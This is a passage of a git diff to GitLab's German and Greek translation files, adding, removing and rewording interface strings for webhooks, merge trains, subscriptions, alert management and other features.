msgstr "Nicht bestätigt"
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,8 +26834,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Aktualisiere deinen Tarif, um die erweiterte globale Suche zu aktivieren."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26197,8 +26909,8 @@ msgstr "Upvotes"
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
-msgstr "Der Nutzungsbericht ist nicht aktiviert"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "Nutzungsstatistiken"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "Nutze den Service-Desk, um dich direkt in GitLab via E-Mail mit deinen Benutzer(inne)n zu verbinden (z. B. um Kunden-Support anzubieten)"
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "Benutzer-Kohorten sind nur sichtbar, wenn der %{usage_ping_link_start}Nutzungsbericht%{usage_ping_link_end} aktiviert ist."
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr "Konfiguration verifizieren"
msgid "Version"
msgstr "Version"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr "Webhooks ermöglichen es dir eine URL aufzurufen, wenn z. B. neuer Code
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Mittwoch"
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,11 +28328,11 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Du bist dabei %{project_full_name} zu entfernen. Entfernte Projekte können NICHT wiederhergestellt werden! Bist Du dir WIRKLICH sicher?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Du bist dabei %{project_full_name} einem/einer andere(n) Besitzer(in) zu übergeben. Bist du dir WIRKLICH sicher?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr "Du kannst nicht auf dieser schreibgeschützte GitLab-Instanz schreiben."
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "Du kannst erst mittels '%{protocol}' übertragen (push) oder abrufen (pu
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Du musst einen deinem Profil einen SSH-Schlüssel hinzufügen, bevor du deinen Projekt-Code mittels Pull oder Push über SSH übertragen kannst"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr "Deine Gruppen"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr "unter anderem"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "Du willst die Vertraulichkeit deaktivieren. Das bedeutet, dass <strong>alle</strong> das Ticket betrachten und kommentieren können."
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "Du willst die Vertraulichkeit aktivieren. Das bedeutet, dass nur Teammitglieder mit <strong>mindestens Reporter-Zugriff</strong> das Ticket betrachten und kommentieren können."
-
msgid "connecting"
msgstr "Verbinde"
@@ -28700,6 +29520,11 @@ msgstr "dieses Projekt forken"
msgid "from"
msgstr "von"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr "Gruppe"
@@ -28745,9 +29570,6 @@ msgstr "In Gruppe %{link_to_group}"
msgid "in project %{link_to_project}"
msgstr "im Projekt %{link_to_project}"
-msgid "index"
-msgstr "Index"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "Instanz abgeschlossen"
@@ -28789,6 +29611,9 @@ msgstr "ist kein gültiges X509-Zertifikat."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "ist keine Ihrer E-Mails"
@@ -28938,9 +29763,15 @@ msgstr "%{metricsLinkStart} Speicherauslastung %{metricsLinkEnd} ist %{emphasisS
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "Erlaube Commits von Mitgliedern die zum Zielbranch mergen können"
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Während des Sendens deiner Genehmigung trat ein Fehler auf."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "Falsches Zustimmungspasswort."
@@ -29025,9 +29859,6 @@ msgstr "Wenn der %{branch} Branch in deinem lokalen Repository existiert kannst
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Wenn der Branch %{missingBranchName} in deinem lokalen Repository vorhanden ist, kannst du diesen Merge-Request manuell über die Befehlszeile zusammenführen"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr "Merged von"
msgid "mrWidget|More information"
msgstr "Weitere Informationen"
-msgid "mrWidget|No approval required"
-msgstr "Keine Zustimmungen nötig"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "Keine Zustimmungen nötig; Du kannst trotzdem zustimmen"
-
msgid "mrWidget|Open in Web IDE"
msgstr "In Web-IDE öffnen"
@@ -29148,6 +29973,12 @@ msgstr "Der Quellbranch wird nicht gelöscht"
msgid "mrWidget|There are merge conflicts"
msgstr "Es gibt Merge-Konflikte"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29157,12 +29988,6 @@ msgstr "Dieser Merge-Request konnte nicht automatisch gemerged werden"
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Dieser Merge-Reqeust wird gerade gemerged"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Dieses Projekt wurde archiviert, der Schreibzugriff wurde deaktiviert"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr "Schnellzugriff"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "registrieren"
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr "Fehler während der Merge-Request-Erstellung"
@@ -29536,6 +30361,9 @@ msgstr "die folgenden Ticket(s)"
msgid "this document"
msgstr "dieses Dokument"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "um deinen Mitwirkenden zu helfen möglichst effizient zu kommunizieren!"
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr "ausgelöst"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "Unicode-Domains sollten IDNA-Kodierung verwenden"
@@ -29617,6 +30448,9 @@ msgstr "Kommentar hinzufügen"
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 1f4fbdce3d9..3bdebf175bc 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:45\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
